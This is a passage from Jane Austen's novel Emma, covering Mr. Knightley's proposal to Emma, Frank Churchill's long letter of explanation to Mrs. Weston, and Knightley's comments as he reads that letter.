possible. Never had the exquisite sight, smell, +sensation of nature, tranquil, warm, and brilliant after a storm, +been more attractive to her. She longed for the serenity they might +gradually introduce; and on Mr. Perry's coming in soon after dinner, +with a disengaged hour to give her father, she lost no time ill +hurrying into the shrubbery.--There, with spirits freshened, +and thoughts a little relieved, she had taken a few turns, when she +saw Mr. Knightley passing through the garden door, and coming +towards her.--It was the first intimation of his being returned +from London. She had been thinking of him the moment before, +as unquestionably sixteen miles distant.--There was time only for +the quickest arrangement of mind. She must be collected and calm. +In half a minute they were together. The "How d'ye do's" were quiet +and constrained on each side. She asked after their mutual friends; +they were all well.--When had he left them?--Only that morning. +He must have had a wet ride.--Yes.--He meant to walk with her, +she found. "He had just looked into the dining-room, and as he +was not wanted there, preferred being out of doors."--She thought +he neither looked nor spoke cheerfully; and the first possible +cause for it, suggested by her fears, was, that he had perhaps been +communicating his plans to his brother, and was pained by the manner +in which they had been received. + +They walked together. He was silent. She thought he was often +looking at her, and trying for a fuller view of her face than it +suited her to give. And this belief produced another dread. +Perhaps he wanted to speak to her, of his attachment to Harriet; +he might be watching for encouragement to begin.--She did not, +could not, feel equal to lead the way to any such subject. +He must do it all himself. Yet she could not bear this silence. +With him it was most unnatural. She considered--resolved--and, trying +to smile, began-- + +"You have some news to hear, now you are come back, that will rather +surprize you." + +"Have I?" said he quietly, and looking at her; "of what nature?" + +"Oh! the best nature in the world--a wedding." + +After waiting a moment, as if to be sure she intended to say no more, +he replied, + +"If you mean Miss Fairfax and Frank Churchill, I have heard +that already." + +"How is it possible?" cried Emma, turning her glowing cheeks +towards him; for, while she spoke, it occurred to her that he +might have called at Mrs. Goddard's in his way. + +"I had a few lines on parish business from Mr. Weston this morning, +and at the end of them he gave me a brief account of what had happened." + +Emma was quite relieved, and could presently say, with a little +more composure, + +"_You_ probably have been less surprized than any of us, for you have +had your suspicions.--I have not forgotten that you once tried to give +me a caution.--I wish I had attended to it--but--(with a sinking +voice and a heavy sigh) I seem to have been doomed to blindness." + +For a moment or two nothing was said, and she was unsuspicious +of having excited any particular interest, till she found her arm +drawn within his, and pressed against his heart, and heard him +thus saying, in a tone of great sensibility, speaking low, + +"Time, my dearest Emma, time will heal the wound.--Your own +excellent sense--your exertions for your father's sake--I know +you will not allow yourself--." Her arm was pressed again, +as he added, in a more broken and subdued accent, "The feelings +of the warmest friendship--Indignation--Abominable scoundrel!"-- +And in a louder, steadier tone, he concluded with, "He will soon +be gone. They will soon be in Yorkshire. I am sorry for _her_. +She deserves a better fate." + +Emma understood him; and as soon as she could recover from the +flutter of pleasure, excited by such tender consideration, replied, + +"You are very kind--but you are mistaken--and I must set you right.-- +I am not in want of that sort of compassion. My blindness to what +was going on, led me to act by them in a way that I must always +be ashamed of, and I was very foolishly tempted to say and do many +things which may well lay me open to unpleasant conjectures, but I +have no other reason to regret that I was not in the secret earlier." + +"Emma!" cried he, looking eagerly at her, "are you, indeed?"-- +but checking himself--"No, no, I understand you--forgive me--I am +pleased that you can say even so much.--He is no object of regret, +indeed! and it will not be very long, I hope, before that becomes +the acknowledgment of more than your reason.--Fortunate that your +affections were not farther entangled!--I could never, I confess, +from your manners, assure myself as to the degree of what you felt-- +I could only be certain that there was a preference--and a preference +which I never believed him to deserve.--He is a disgrace to the name +of man.--And is he to be rewarded with that sweet young woman?-- +Jane, Jane, you will be a miserable creature." + +"Mr. Knightley," said Emma, trying to be lively, but really confused-- +"I am in a very extraordinary situation. I cannot let you continue in +your error; and yet, perhaps, since my manners gave such an impression, +I have as much reason to be ashamed of confessing that I never have +been at all attached to the person we are speaking of, as it might +be natural for a woman to feel in confessing exactly the reverse.-- +But I never have." + +He listened in perfect silence. She wished him to speak, but he +would not. She supposed she must say more before she were entitled +to his clemency; but it was a hard case to be obliged still to lower +herself in his opinion. She went on, however. + +"I have very little to say for my own conduct.--I was tempted +by his attentions, and allowed myself to appear pleased.-- +An old story, probably--a common case--and no more than has happened +to hundreds of my sex before; and yet it may not be the more excusable +in one who sets up as I do for Understanding. Many circumstances +assisted the temptation. He was the son of Mr. Weston--he was +continually here--I always found him very pleasant--and, in short, +for (with a sigh) let me swell out the causes ever so ingeniously, +they all centre in this at last--my vanity was flattered, and I +allowed his attentions. Latterly, however--for some time, indeed-- +I have had no idea of their meaning any thing.--I thought them +a habit, a trick, nothing that called for seriousness on my side. +He has imposed on me, but he has not injured me. I have never been +attached to him. And now I can tolerably comprehend his behaviour. +He never wished to attach me. It was merely a blind to conceal +his real situation with another.--It was his object to blind +all about him; and no one, I am sure, could be more effectually +blinded than myself--except that I was _not_ blinded--that it was my +good fortune--that, in short, I was somehow or other safe from him." + +She had hoped for an answer here--for a few words to say that her +conduct was at least intelligible; but he was silent; and, as far +as she could judge, deep in thought. At last, and tolerably +in his usual tone, he said, + +"I have never had a high opinion of Frank Churchill.--I can suppose, +however, that I may have underrated him. My acquaintance with +him has been but trifling.--And even if I have not underrated +him hitherto, he may yet turn out well.--With such a woman he has +a chance.--I have no motive for wishing him ill--and for her sake, +whose happiness will be involved in his good character and conduct, +I shall certainly wish him well." + +"I have no doubt of their being happy together," said Emma; +"I believe them to be very mutually and very sincerely attached." + +"He is a most fortunate man!" returned Mr. Knightley, with energy. +"So early in life--at three-and-twenty--a period when, if a man +chuses a wife, he generally chuses ill. At three-and-twenty +to have drawn such a prize! What years of felicity that man, +in all human calculation, has before him!--Assured of the love of +such a woman--the disinterested love, for Jane Fairfax's character +vouches for her disinterestedness; every thing in his favour,-- +equality of situation--I mean, as far as regards society, and all the +habits and manners that are important; equality in every point but one-- +and that one, since the purity of her heart is not to be doubted, +such as must increase his felicity, for it will be his to bestow the +only advantages she wants.--A man would always wish to give a woman +a better home than the one he takes her from; and he who can do it, +where there is no doubt of _her_ regard, must, I think, be the happiest +of mortals.--Frank Churchill is, indeed, the favourite of fortune. +Every thing turns out for his good.--He meets with a young woman +at a watering-place, gains her affection, cannot even weary her +by negligent treatment--and had he and all his family sought round +the world for a perfect wife for him, they could not have found +her superior.--His aunt is in the way.--His aunt dies.--He has +only to speak.--His friends are eager to promote his happiness.-- +He had used every body ill--and they are all delighted to forgive him.-- +He is a fortunate man indeed!" + +"You speak as if you envied him." + +"And I do envy him, Emma. In one respect he is the object of my envy." + +Emma could say no more. They seemed to be within half a sentence +of Harriet, and her immediate feeling was to avert the subject, +if possible. She made her plan; she would speak of something +totally different--the children in Brunswick Square; and she +only waited for breath to begin, when Mr. Knightley startled her, +by saying, + +"You will not ask me what is the point of envy.--You are determined, +I see, to have no curiosity.--You are wise--but _I_ cannot be wise. +Emma, I must tell you what you will not ask, though I may wish it +unsaid the next moment." + +"Oh! then, don't speak it, don't speak it," she eagerly cried. +"Take a little time, consider, do not commit yourself." + +"Thank you," said he, in an accent of deep mortification, and not +another syllable followed. + +Emma could not bear to give him pain. He was wishing to confide in her-- +perhaps to consult her;--cost her what it would, she would listen. +She might assist his resolution, or reconcile him to it; +she might give just praise to Harriet, or, by representing to him +his own independence, relieve him from that state of indecision, +which must be more intolerable than any alternative to such a mind +as his.--They had reached the house. + +"You are going in, I suppose?" said he. + +"No,"--replied Emma--quite confirmed by the depressed manner +in which he still spoke--"I should like to take another turn. +Mr. Perry is not gone." And, after proceeding a few steps, she added-- +"I stopped you ungraciously, just now, Mr. Knightley, and, I am afraid, +gave you pain.--But if you have any wish to speak openly to me +as a friend, or to ask my opinion of any thing that you may have +in contemplation--as a friend, indeed, you may command me.--I will +hear whatever you like. I will tell you exactly what I think." + +"As a friend!"--repeated Mr. Knightley.--"Emma, that I fear is +a word--No, I have no wish--Stay, yes, why should I hesitate?-- +I have gone too far already for concealment.--Emma, I accept your offer-- +Extraordinary as it may seem, I accept it, and refer myself to you +as a friend.--Tell me, then, have I no chance of ever succeeding?" + +He stopped in his earnestness to look the question, and the expression +of his eyes overpowered her. + +"My dearest Emma," said he, "for dearest you will always be, +whatever the event of this hour's conversation, my dearest, +most beloved Emma--tell me at once. Say `No,' if it is to be said."-- +She could really say nothing.--"You are silent," he cried, +with great animation; "absolutely silent! at present I ask no more." + +Emma was almost ready to sink under the agitation of this moment. +The dread of being awakened from the happiest dream, was perhaps +the most prominent feeling. + +"I cannot make speeches, Emma:" he soon resumed; and in a tone +of such sincere, decided, intelligible tenderness as was +tolerably convincing.--"If I loved you less, I might be able +to talk about it more. But you know what I am.--You hear nothing +but truth from me.--I have blamed you, and lectured you, and you +have borne it as no other woman in England would have borne it.-- +Bear with the truths I would tell you now, dearest Emma, as well as +you have borne with them. The manner, perhaps, may have as little +to recommend them. God knows, I have been a very indifferent lover.-- +But you understand me.--Yes, you see, you understand my feelings-- +and will return them if you can. At present, I ask only to hear, +once to hear your voice." + +While he spoke, Emma's mind was most busy, and, with all the wonderful +velocity of thought, had been able--and yet without losing a word-- +to catch and comprehend the exact truth of the whole; to see that +Harriet's hopes had been entirely groundless, a mistake, a delusion, +as complete a delusion as any of her own--that Harriet was nothing; +that she was every thing herself; that what she had been saying +relative to Harriet had been all taken as the language of her +own feelings; and that her agitation, her doubts, her reluctance, +her discouragement, had been all received as discouragement +from herself.--And not only was there time for these convictions, +with all their glow of attendant happiness; there was time also to +rejoice that Harriet's secret had not escaped her, and to resolve +that it need not, and should not.--It was all the service she could +now render her poor friend; for as to any of that heroism of sentiment +which might have prompted her to entreat him to transfer his affection +from herself to Harriet, as infinitely the most worthy of the two-- +or even the more simple sublimity of resolving to refuse him +at once and for ever, without vouchsafing any motive, because he +could not marry them both, Emma had it not. She felt for Harriet, +with pain and with contrition; but no flight of generosity run mad, +opposing all that could be probable or reasonable, entered her brain. +She had led her friend astray, and it would be a reproach to +her for ever; but her judgment was as strong as her feelings, +and as strong as it had ever been before, in reprobating any such +alliance for him, as most unequal and degrading. Her way was clear, +though not quite smooth.--She spoke then, on being so entreated.-- +What did she say?--Just what she ought, of course. A lady always does.-- +She said enough to shew there need not be despair--and to invite him +to say more himself. He _had_ despaired at one period; he had received +such an injunction to caution and silence, as for the time crushed +every hope;--she had begun by refusing to hear him.--The change had +perhaps been somewhat sudden;--her proposal of taking another turn, +her renewing the conversation which she had just put an end to, +might be a little extraordinary!--She felt its inconsistency; +but Mr. Knightley was so obliging as to put up with it, and seek no +farther explanation. + +Seldom, very seldom, does complete truth belong to any human disclosure; +seldom can it happen that something is not a little disguised, +or a little mistaken; but where, as in this case, though the conduct +is mistaken, the feelings are not, it may not be very material.-- +Mr. Knightley could not impute to Emma a more relenting heart than +she possessed, or a heart more disposed to accept of his. + +He had, in fact, been wholly unsuspicious of his own influence. +He had followed her into the shrubbery with no idea of trying it. +He had come, in his anxiety to see how she bore Frank Churchill's +engagement, with no selfish view, no view at all, but of endeavouring, +if she allowed him an opening, to soothe or to counsel her.--The rest +had been the work of the moment, the immediate effect of what he heard, +on his feelings. The delightful assurance of her total indifference +towards Frank Churchill, of her having a heart completely disengaged +from him, had given birth to the hope, that, in time, he might gain +her affection himself;--but it had been no present hope--he had only, +in the momentary conquest of eagerness over judgment, aspired to be +told that she did not forbid his attempt to attach her.--The superior +hopes which gradually opened were so much the more enchanting.-- +The affection, which he had been asking to be allowed to create, +if he could, was already his!--Within half an hour, he had passed +from a thoroughly distressed state of mind, to something so like +perfect happiness, that it could bear no other name. + +_Her_ change was equal.--This one half-hour had given to each the +same precious certainty of being beloved, had cleared from each +the same degree of ignorance, jealousy, or distrust.--On his side, +there had been a long-standing jealousy, old as the arrival, +or even the expectation, of Frank Churchill.--He had been in love +with Emma, and jealous of Frank Churchill, from about the same period, +one sentiment having probably enlightened him as to the other. +It was his jealousy of Frank Churchill that had taken him from +the country.--The Box Hill party had decided him on going away. +He would save himself from witnessing again such permitted, +encouraged attentions.--He had gone to learn to be indifferent.-- +But he had gone to a wrong place. There was too much domestic +happiness in his brother's house; woman wore too amiable a form in it; +Isabella was too much like Emma--differing only in those striking +inferiorities, which always brought the other in brilliancy before him, +for much to have been done, even had his time been longer.--He had +stayed on, however, vigorously, day after day--till this very morning's +post had conveyed the history of Jane Fairfax.--Then, with the +gladness which must be felt, nay, which he did not scruple to feel, +having never believed Frank Churchill to be at all deserving Emma, +was there so much fond solicitude, so much keen anxiety for her, +that he could stay no longer. He had ridden home through the rain; +and had walked up directly after dinner, to see how this sweetest +and best of all creatures, faultless in spite of all her faults, +bore the discovery. + +He had found her agitated and low.--Frank Churchill was a villain.-- +He heard her declare that she had never loved him. Frank Churchill's +character was not desperate.--She was his own Emma, by hand and word, +when they returned into the house; and if he could have thought +of Frank Churchill then, he might have deemed him a very good sort +of fellow. + + + +CHAPTER XIV + + +What totally different feelings did Emma take back into the house +from what she had brought out!--she had then been only daring to hope +for a little respite of suffering;--she was now in an exquisite +flutter of happiness, and such happiness moreover as she believed +must still be greater when the flutter should have passed away. + +They sat down to tea--the same party round the same table-- +how often it had been collected!--and how often had her eyes fallen +on the same shrubs in the lawn, and observed the same beautiful +effect of the western sun!--But never in such a state of spirits, +never in any thing like it; and it was with difficulty that she could +summon enough of her usual self to be the attentive lady of the house, +or even the attentive daughter. + +Poor Mr. Woodhouse little suspected what was plotting against him +in the breast of that man whom he was so cordially welcoming, and so +anxiously hoping might not have taken cold from his ride.--Could he +have seen the heart, he would have cared very little for the lungs; +but without the most distant imagination of the impending evil, +without the slightest perception of any thing extraordinary in +the looks or ways of either, he repeated to them very comfortably +all the articles of news he had received from Mr. Perry, and talked +on with much self-contentment, totally unsuspicious of what they +could have told him in return. + +As long as Mr. Knightley remained with them, Emma's fever continued; +but when he was gone, she began to be a little tranquillised +and subdued--and in the course of the sleepless night, which was +the tax for such an evening, she found one or two such very serious +points to consider, as made her feel, that even her happiness +must have some alloy. Her father--and Harriet. She could not be +alone without feeling the full weight of their separate claims; +and how to guard the comfort of both to the utmost, was the question. +With respect to her father, it was a question soon answered. +She hardly knew yet what Mr. Knightley would ask; but a very short +parley with her own heart produced the most solemn resolution +of never quitting her father.--She even wept over the idea of it, +as a sin of thought. While he lived, it must be only an engagement; +but she flattered herself, that if divested of the danger of +drawing her away, it might become an increase of comfort to him.-- +How to do her best by Harriet, was of more difficult decision;-- +how to spare her from any unnecessary pain; how to make +her any possible atonement; how to appear least her enemy?-- +On these subjects, her perplexity and distress were very great-- +and her mind had to pass again and again through every bitter +reproach and sorrowful regret that had ever surrounded it.-- +She could only resolve at last, that she would still avoid a +meeting with her, and communicate all that need be told by letter; +that it would be inexpressibly desirable to have her removed just +now for a time from Highbury, and--indulging in one scheme more-- +nearly resolve, that it might be practicable to get an invitation +for her to Brunswick Square.--Isabella had been pleased with Harriet; +and a few weeks spent in London must give her some amusement.-- +She did not think it in Harriet's nature to escape being benefited +by novelty and variety, by the streets, the shops, and the children.-- +At any rate, it would be a proof of attention and kindness in herself, +from whom every thing was due; a separation for the present; an averting +of the evil day, when they must all be together again. + +She rose early, and wrote her letter to Harriet; an employment +which left her so very serious, so nearly sad, that Mr. Knightley, +in walking up to Hartfield to breakfast, did not arrive at all too soon; +and half an hour stolen afterwards to go over the same ground again +with him, literally and figuratively, was quite necessary to reinstate +her in a proper share of the happiness of the evening before. + +He had not left her long, by no means long enough for her to have +the slightest inclination for thinking of any body else, when a letter +was brought her from Randalls--a very thick letter;--she guessed +what it must contain, and deprecated the necessity of reading it.-- +She was now in perfect charity with Frank Churchill; she wanted +no explanations, she wanted only to have her thoughts to herself-- +and as for understanding any thing he wrote, she was sure she was +incapable of it.--It must be waded through, however. She opened +the packet; it was too surely so;--a note from Mrs. Weston to herself, +ushered in the letter from Frank to Mrs. Weston. + +"I have the greatest pleasure, my dear Emma, in forwarding +to you the enclosed. I know what thorough justice you will +do it, and have scarcely a doubt of its happy effect.--I think +we shall never materially disagree about the writer again; +but I will not delay you by a long preface.--We are quite well.-- +This letter has been the cure of all the little nervousness I have +been feeling lately.--I did not quite like your looks on Tuesday, +but it was an ungenial morning; and though you will never own being +affected by weather, I think every body feels a north-east wind.-- +I felt for your dear father very much in the storm of Tuesday +afternoon and yesterday morning, but had the comfort of hearing +last night, by Mr. Perry, that it had not made him ill. + "Yours ever, + "A. W." + + [To Mrs. Weston.] + WINDSOR-JULY. +MY DEAR MADAM, + +"If I made myself intelligible yesterday, this letter will be expected; +but expected or not, I know it will be read with candour and indulgence.-- +You are all goodness, and I believe there will be need of even +all your goodness to allow for some parts of my past conduct.-- +But I have been forgiven by one who had still more to resent. +My courage rises while I write. It is very difficult for the +prosperous to be humble. I have already met with such success +in two applications for pardon, that I may be in danger of thinking +myself too sure of yours, and of those among your friends who have +had any ground of offence.--You must all endeavour to comprehend +the exact nature of my situation when I first arrived at Randalls; +you must consider me as having a secret which was to be kept +at all hazards. This was the fact. My right to place myself +in a situation requiring such concealment, is another question. +I shall not discuss it here. For my temptation to _think_ it a right, +I refer every caviller to a brick house, sashed windows below, +and casements above, in Highbury. I dared not address her openly; +my difficulties in the then state of Enscombe must be too well +known to require definition; and I was fortunate enough to prevail, +before we parted at Weymouth, and to induce the most upright female +mind in the creation to stoop in charity to a secret engagement.-- +Had she refused, I should have gone mad.--But you will be ready to say, +what was your hope in doing this?--What did you look forward to?-- +To any thing, every thing--to time, chance, circumstance, slow effects, +sudden bursts, perseverance and weariness, health and sickness. +Every possibility of good was before me, and the first of blessings +secured, in obtaining her promises of faith and correspondence. +If you need farther explanation, I have the honour, my dear madam, +of being your husband's son, and the advantage of inheriting +a disposition to hope for good, which no inheritance of houses +or lands can ever equal the value of.--See me, then, under these +circumstances, arriving on my first visit to Randalls;--and here I +am conscious of wrong, for that visit might have been sooner paid. +You will look back and see that I did not come till Miss Fairfax +was in Highbury; and as _you_ were the person slighted, you will +forgive me instantly; but I must work on my father's compassion, +by reminding him, that so long as I absented myself from his house, +so long I lost the blessing of knowing you. My behaviour, +during the very happy fortnight which I spent with you, did not, +I hope, lay me open to reprehension, excepting on one point. +And now I come to the principal, the only important part of my +conduct while belonging to you, which excites my own anxiety, +or requires very solicitous explanation. With the greatest respect, +and the warmest friendship, do I mention Miss Woodhouse; my father +perhaps will think I ought to add, with the deepest humiliation.-- +A few words which dropped from him yesterday spoke his opinion, +and some censure I acknowledge myself liable to.--My behaviour +to Miss Woodhouse indicated, I believe, more than it ought.-- +In order to assist a concealment so essential to me, I was led +on to make more than an allowable use of the sort of intimacy +into which we were immediately thrown.--I cannot deny that Miss +Woodhouse was my ostensible object--but I am sure you will believe +the declaration, that had I not been convinced of her indifference, +I would not have been induced by any selfish views to go on.-- +Amiable and delightful as Miss Woodhouse is, she never gave me +the idea of a young woman likely to be attached; and that she was +perfectly free from any tendency to being attached to me, was as much +my conviction as my wish.--She received my attentions with an easy, +friendly, goodhumoured playfulness, which exactly suited me. +We seemed to understand each other. From our relative situation, +those attentions were her due, and were felt to be so.--Whether Miss +Woodhouse began really to understand me before the expiration of +that fortnight, I cannot say;--when I called to take leave of her, +I remember that I was within a moment of confessing the truth, +and I then fancied she was not without suspicion; but I have no +doubt of her having since detected me, at least in some degree.-- +She may not have surmised the whole, but her quickness must +have penetrated a part. I cannot doubt it. You will find, +whenever the subject becomes freed from its present restraints, +that it did not take her wholly by surprize. She frequently gave +me hints of it. I remember her telling me at the ball, that I +owed Mrs. Elton gratitude for her attentions to Miss Fairfax.-- +I hope this history of my conduct towards her will be admitted +by you and my father as great extenuation of what you saw amiss. +While you considered me as having sinned against Emma Woodhouse, +I could deserve nothing from either. Acquit me here, and procure +for me, when it is allowable, the acquittal and good wishes of that +said Emma Woodhouse, whom I regard with so much brotherly affection, +as to long to have her as deeply and as happily in love as myself.-- +Whatever strange things I said or did during that fortnight, you have +now a key to. My heart was in Highbury, and my business was to get +my body thither as often as might be, and with the least suspicion. +If you remember any queernesses, set them all to the right account.-- +Of the pianoforte so much talked of, I feel it only necessary to say, +that its being ordered was absolutely unknown to Miss F--, who would +never have allowed me to send it, had any choice been given her.-- +The delicacy of her mind throughout the whole engagement, +my dear madam, is much beyond my power of doing justice to. +You will soon, I earnestly hope, know her thoroughly yourself.-- +No description can describe her. She must tell you herself what she is-- +yet not by word, for never was there a human creature who would +so designedly suppress her own merit.--Since I began this letter, +which will be longer than I foresaw, I have heard from her.-- +She gives a good account of her own health; but as she never complains, +I dare not depend. I want to have your opinion of her looks. +I know you will soon call on her; she is living in dread of the visit. +Perhaps it is paid already. Let me hear from you without delay; +I am impatient for a thousand particulars. Remember how few +minutes I was at Randalls, and in how bewildered, how mad a state: +and I am not much better yet; still insane either from happiness +or misery. When I think of the kindness and favour I have met with, +of her excellence and patience, and my uncle's generosity, I am mad +with joy: but when I recollect all the uneasiness I occasioned her, +and how little I deserve to be forgiven, I am mad with anger. +If I could but see her again!--But I must not propose it yet. +My uncle has been too good for me to encroach.--I must still add +to this long letter. You have not heard all that you ought to hear. +I could not give any connected detail yesterday; but the suddenness, +and, in one light, the unseasonableness with which the affair burst out, +needs explanation; for though the event of the 26th ult., as you +will conclude, immediately opened to me the happiest prospects, +I should not have presumed on such early measures, but from the +very particular circumstances, which left me not an hour to lose. +I should myself have shrunk from any thing so hasty, and she would have +felt every scruple of mine with multiplied strength and refinement.-- +But I had no choice. The hasty engagement she had entered into with +that woman--Here, my dear madam, I was obliged to leave off abruptly, +to recollect and compose myself.--I have been walking over the country, +and am now, I hope, rational enough to make the rest of my letter +what it ought to be.--It is, in fact, a most mortifying retrospect +for me. I behaved shamefully. And here I can admit, that my manners +to Miss W., in being unpleasant to Miss F., were highly blameable. +_She_ disapproved them, which ought to have been enough.--My plea of +concealing the truth she did not think sufficient.--She was displeased; +I thought unreasonably so: I thought her, on a thousand occasions, +unnecessarily scrupulous and cautious: I thought her even cold. +But she was always right. If I had followed her judgment, and subdued +my spirits to the level of what she deemed proper, I should have +escaped the greatest unhappiness I have ever known.--We quarrelled.-- +Do you remember the morning spent at Donwell?--_There_ every little +dissatisfaction that had occurred before came to a crisis. I was late; +I met her walking home by herself, and wanted to walk with her, +but she would not suffer it. She absolutely refused to allow me, +which I then thought most unreasonable. Now, however, I see nothing +in it but a very natural and consistent degree of discretion. +While I, to blind the world to our engagement, was behaving one +hour with objectionable particularity to another woman, was she +to be consenting the next to a proposal which might have made +every previous caution useless?--Had we been met walking together +between Donwell and Highbury, the truth must have been suspected.-- +I was mad enough, however, to resent.--I doubted her affection. +I doubted it more the next day on Box Hill; when, provoked by +such conduct on my side, such shameful, insolent neglect of her, +and such apparent devotion to Miss W., as it would have been +impossible for any woman of sense to endure, she spoke her +resentment in a form of words perfectly intelligible to me.-- +In short, my dear madam, it was a quarrel blameless on her side, +abominable on mine; and I returned the same evening to Richmond, +though I might have staid with you till the next morning, +merely because I would be as angry with her as possible. Even then, +I was not such a fool as not to mean to be reconciled in time; +but I was the injured person, injured by her coldness, and I went +away determined that she should make the first advances.--I shall +always congratulate myself that you were not of the Box Hill party. +Had you witnessed my behaviour there, I can hardly suppose you would +ever have thought well of me again. Its effect upon her appears +in the immediate resolution it produced: as soon as she found I +was really gone from Randalls, she closed with the offer of that +officious Mrs. Elton; the whole system of whose treatment of her, +by the bye, has ever filled me with indignation and hatred. +I must not quarrel with a spirit of forbearance which has been +so richly extended towards myself; but, otherwise, I should loudly +protest against the share of it which that woman has known.-- +`Jane,' indeed!--You will observe that I have not yet indulged myself +in calling her by that name, even to you. Think, then, what I must +have endured in hearing it bandied between the Eltons with all +the vulgarity of needless repetition, and all the insolence of +imaginary superiority. Have patience with me, I shall soon have done.-- +She closed with this offer, resolving to break with me entirely, +and wrote the next day to tell me that we never were to meet again.-- +_She_ _felt_ _the_ _engagement_ _to_ _be_ _a_ _source_ _of_ _repentance_ _and_ _misery_ +_to_ _each_: _she_ _dissolved_ _it_.--This letter reached me on the very +morning of my poor aunt's death. I answered it within an hour; +but from the confusion of my mind, and the multiplicity of business +falling on me at once, my answer, instead of being sent with all +the many other letters of that day, was locked up in my writing-desk; +and I, trusting that I had written enough, though but a few lines, +to satisfy her, remained without any uneasiness.--I was rather +disappointed that I did not hear from her again speedily; +but I made excuses for her, and was too busy, and--may I add?-- +too cheerful in my views to be captious.--We removed to Windsor; +and two days afterwards I received a parcel from her, my own letters +all returned!--and a few lines at the same time by the post, +stating her extreme surprize at not having had the smallest reply +to her last; and adding, that as silence on such a point could +not be misconstrued, and as it must be equally desirable to both +to have every subordinate arrangement concluded as soon as possible, +she now sent me, by a safe conveyance, all my letters, and requested, +that if I could not directly command hers, so as to send them +to Highbury within a week, I would forward them after that period +to her at--: in short, the full direction to Mr. Smallridge's, +near Bristol, stared me in the face. I knew the name, the place, +I knew all about it, and instantly saw what she had been doing. +It was perfectly accordant with that resolution of character +which I knew her to possess; and the secrecy she had maintained, +as to any such design in her former letter, was equally descriptive +of its anxious delicacy. For the world would not she have seemed +to threaten me.--Imagine the shock; imagine how, till I had actually +detected my own blunder, I raved at the blunders of the post.-- +What was to be done?--One thing only.--I must speak to my uncle. +Without his sanction I could not hope to be listened to again.-- +I spoke; circumstances were in my favour; the late event had softened +away his pride, and he was, earlier than I could have anticipated, +wholly reconciled and complying; and could say at last, poor man! +with a deep sigh, that he wished I might find as much happiness +in the marriage state as he had done.--I felt that it would be +of a different sort.--Are you disposed to pity me for what I must +have suffered in opening the cause to him, for my suspense while +all was at stake?--No; do not pity me till I reached Highbury, +and saw how ill I had made her. Do not pity me till I saw her wan, +sick looks.--I reached Highbury at the time of day when, from my +knowledge of their late breakfast hour, I was certain of a good chance +of finding her alone.--I was not disappointed; and at last I was +not disappointed either in the object of my journey. A great deal +of very reasonable, very just displeasure I had to persuade away. +But it is done; we are reconciled, dearer, much dearer, than ever, +and no moment's uneasiness can ever occur between us again. Now, my +dear madam, I will release you; but I could not conclude before. +A thousand and a thousand thanks for all the kindness you have +ever shewn me, and ten thousand for the attentions your heart +will dictate towards her.--If you think me in a way to be happier +than I deserve, I am quite of your opinion.--Miss W. calls me +the child of good fortune. I hope she is right.--In one respect, +my good fortune is undoubted, that of being able to subscribe +myself, + Your obliged and affectionate Son, + F. C. WESTON CHURCHILL. + + + +CHAPTER XV + + +This letter must make its way to Emma's feelings. She was obliged, +in spite of her previous determination to the contrary, to do +it all the justice that Mrs. Weston foretold. As soon as she +came to her own name, it was irresistible; every line relating +to herself was interesting, and almost every line agreeable; +and when this charm ceased, the subject could still maintain itself, +by the natural return of her former regard for the writer, and the +very strong attraction which any picture of love must have for her at +that moment. She never stopt till she had gone through the whole; +and though it was impossible not to feel that he had been wrong, +yet he had been less wrong than she had supposed--and he had suffered, +and was very sorry--and he was so grateful to Mrs. Weston, +and so much in love with Miss Fairfax, and she was so happy herself, +that there was no being severe; and could he have entered the room, +she must have shaken hands with him as heartily as ever. + +She thought so well of the letter, that when Mr. Knightley came again, +she desired him to read it. She was sure of Mrs. Weston's wishing +it to be communicated; especially to one, who, like Mr. Knightley, +had seen so much to blame in his conduct. + +"I shall be very glad to look it over," said he; "but it seems long. +I will take it home with me at night." + +But that would not do. Mr. Weston was to call in the evening, +and she must return it by him. + +"I would rather be talking to you," he replied; "but as it seems +a matter of justice, it shall be done." + +He began--stopping, however, almost directly to say, "Had I been offered +the sight of one of this gentleman's letters to his mother-in-law a few +months ago, Emma, it would not have been taken with such indifference." + +He proceeded a little farther, reading to himself; and then, +with a smile, observed, "Humph! a fine complimentary opening: +But it is his way. One man's style must not be the rule of another's. +We will not be severe." + +"It will be natural for me," he added shortly afterwards, "to speak my +opinion aloud as I read. By doing it, I shall feel that I am near you. +It will not be so great a loss of time: but if you dislike it--" + +"Not at all. I should wish it." + +Mr. Knightley returned to his reading with greater alacrity. + +"He trifles here," said he, "as to the temptation. He knows +he is wrong, and has nothing rational to urge.--Bad.--He ought +not to have formed the engagement.--`His father's disposition:'-- +he is unjust, however, to his father. Mr. Weston's sanguine +temper was a blessing on all his upright and honourable exertions; +but Mr. Weston earned every present comfort before he endeavoured +to gain it.--Very true; he did not come till Miss Fairfax was here." + +"And I have not forgotten," said Emma, "how sure you were that he +might have come sooner if he would. You pass it over very handsomely-- +but you were perfectly right." + +"I was not quite impartial in my judgment, Emma:--but yet, I think-- +had _you_ not been in the case--I should still have distrusted him." + +When he came to Miss Woodhouse, he was obliged to read the whole +of it aloud--all that related to her, with a smile; a look; +a shake of the head; a word or two of assent, or disapprobation; +or merely of love, as the subject required; concluding, however, +seriously, and, after steady reflection, thus-- + +"Very bad--though it might have been worse.--Playing a most +dangerous game. Too much indebted to the event for his acquittal.-- +No judge of his own manners by you.--Always deceived in fact by his +own wishes, and regardless of little besides his own convenience.-- +Fancying you to have fathomed his secret. Natural enough!-- +his own mind full of intrigue, that he should suspect it +in others.--Mystery; Finesse--how they pervert the understanding! +My Emma, does not every thing serve to prove more and more the +beauty of truth and sincerity in all our dealings with each other?" + +Emma agreed to it, and with a blush of sensibility on Harriet's account, +which she could not give any sincere explanation of. + +"You had better go on," said she. + +He did so, but very soon stopt again to say, "the pianoforte! +Ah! That was the act of a very, very young man, one too young +to consider whether the inconvenience of it might not very much +exceed the pleasure. A boyish scheme, indeed!--I cannot +comprehend a man's wishing to give a woman any proof of affection +which he knows she would rather dispense with; and he did +know that she would have prevented the instrument's coming if she could." + +After this, he made some progress without any pause. +Frank Churchill's confession of having behaved shamefully +was the first thing to call for more than a word in passing. + +"I perfectly agree with you, sir,"--was then his remark. +"You did behave very shamefully. You never wrote a truer line." +And having gone through what immediately followed of the basis +of their disagreement, and his persisting to act in direct +opposition to Jane Fairfax's sense of right, he made a fuller pause +to say, "This is very bad.--He had induced her to place herself, +for his sake, in a situation of extreme difficulty and uneasiness, +and it should have been his first object to prevent her from +suffering unnecessarily.--She must have had much more to contend with, +in carrying on the correspondence, than he could. He should have +respected even unreasonable scruples, had there been such; but hers +were all reasonable. We must look to her one fault, and remember +that she had done a wrong thing in consenting to the engagement, +to bear that she should have been in such a state of punishment." + +Emma knew that he 